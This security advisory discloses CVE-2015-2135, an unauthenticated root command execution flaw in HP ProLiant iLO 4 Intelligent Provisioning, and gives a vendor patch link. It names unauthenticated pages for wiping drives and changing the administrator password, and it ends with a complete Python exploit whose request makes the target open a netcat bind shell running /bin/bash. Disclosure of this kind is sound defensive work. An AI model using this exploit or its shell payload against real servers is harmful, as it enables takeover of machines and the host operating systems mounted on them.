SSD Advisory – Remote Command Execution in Proliant iLO Intelligent Provisioning

Vulnerability Description
iLO is an embedded operating system available within HP Proliant and Integrity servers. IP is a feature within iLO that provides local and remote access for provisioning purposes. It was discovered that hidden requests were being made to server during a normal client session. Exploring this obfuscated functionality revealed the ability to execute arbitrary commands as root on the system.

Vulnerable Versions
Integrated Lights-Out 4 (latest firmware v2.00) with Intelligence Provisioning v1.60
Analysis
Administrators can use the Remote Console from the iLO web interface to initiate Intelligent Provisioning. Working in this mode is common for new deployments as it provides many facilities for configuration, diagnostics and most importantly system updates. There are Apache webservers listening on both ports 80 and 2381. There is also an Nginx server listening on port 5008. There is no authentication to access the content at any of these portals; the system replies upon obfuscation techniques to mask implementation from the frontend. For example, if you remotely hit /hpdiags/frontend2/startup.php on port 2381, you can access the server’s diagnostic page. Or /confirmerase.htm on port 5008, you can erase “All Hard Drives”, RBSU and logs. /locfg.htm allows you to change the Administrator password.
proliant_image_1
During a Burp Proxy session with the Proliant server browsing the Nginx web portal, a more interesting discovery was made:
proliant_image_2
A web client, surfing the portal as normal, was being forced by the server to make requests to debug.nsp and system.nsp in order to run executables and issue operating system commands. After recognizing the structure and how to change it, we can see that we’re able to execute arbitrary commands with root privileges on the system.
proliant_image_3
Furthermore, the netcat utility comes pre-installed, so we’re now easily able to get a remote root shell.
proliant_image_4
As a bonus, not only does this allow you to compromise the iLO system, the Proliant primary OS (Windows or Linux) is also mounted as a USB device during this time. This allows for full OS compromise.

df -h | grep usb
/dev/sda1 350M 257M 94M 74% /media/usb-sda1
/dev/sda2 932G 39G 893G 5% /media/usb-sda2
ls /media/usb*
/media/usb-sda1:
BOOTNXT
BOOTSECT.BAK
Boot
Recovery
System Volume Information
bootmgr
/media/usb-sda2:
$Recycle.Bin
BOOTNXT
DFSRoots
Documents and Settings
Program Files
Program Files (x86)
ProgramData
ServerFolders
System Volume Information
Users
Windows
[...]

Vendor Response
HP has issued a patch for this vulnerability, it is available for download via: https://h20564.www2.hpe.com/hpsc/doc/public/display?docId=emr_na-c04756070
CVE
A single CVE entry has been assigned for this vulnerability CVE-2015-2135
Exploit
A python3 script (proliant_ilo_ip.py) has been created that can be used to demonstrate these vulnerabilities. In particular, it sends a request to system.nsp on port 5008 asking netcat to listen for connections and drop into a root shell.

#!/usr/bin/python
# proliant_ilo_ip.py
#
import sys
import os
import time
from httplib2 import Http
nc_bin_lin = "/usr/bin/nc"
nc_bin_win = "C:\\Program Files (x86)\\Nmap\\ncat.exe"
port = 5008
shell_port = 5555
magic = "/system.nsp?Command=Run&Executable=bash&Arguments=-c%20"
magic += "\"nc%20-l%20-p%20"
magic += str(shell_port) + "%20-e%20"
magic += "/bin/bash\""
def main():
    if(len(sys.argv) < 2):
        print("Usage: %s <target>\n" % sys.argv[0])
        return
    target = sys.argv[1]
    request = "http://" + target + ":" + str(port) + magic
    try:
        print("\nAsking %s for a shell...\n" % target)
        #print("--> %s\n" % request)
        web = Http(timeout=5)
        response = web.request(request)
    except Exception as error:
        print("%s - re-run the exploit as sometimes the first request doesn't work" % error)
        return
    time.sleep(3)
    if((os.name == "posix") & (os.path.isfile(nc_bin_lin))):
        os.system("\"%s\" %s %d -v" % (nc_bin_lin, target, shell_port))
    if((os.name == "nt") & (os.path.isfile(nc_bin_win))):
        os.system("\"%s\" %s %d -v" % (nc_bin_win, target, shell_port))
    else:
        print("Use netcat to connect to %s on port %d for the root shell!\n" % (target, shell_port))
    return
if __name__ == "__main__":
    main()